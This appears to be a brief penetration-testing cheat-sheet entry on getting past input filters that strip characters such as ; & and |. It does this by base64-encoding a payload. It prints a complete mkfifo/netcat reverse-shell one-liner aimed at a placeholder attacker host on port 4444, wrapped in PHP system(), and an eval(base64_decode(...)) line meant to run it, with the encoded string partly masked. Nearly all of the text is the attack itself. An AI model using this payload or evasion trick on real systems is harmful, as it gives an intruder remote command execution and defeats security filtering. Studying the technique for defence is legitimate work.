Sometimes some characters like ; the & or the | are filtered. A base64 encoding allows to get out of it.
Base64 encode your command in an xterm:

$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64

Paste de base64 encoded command in PHP reverse shell code:

eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));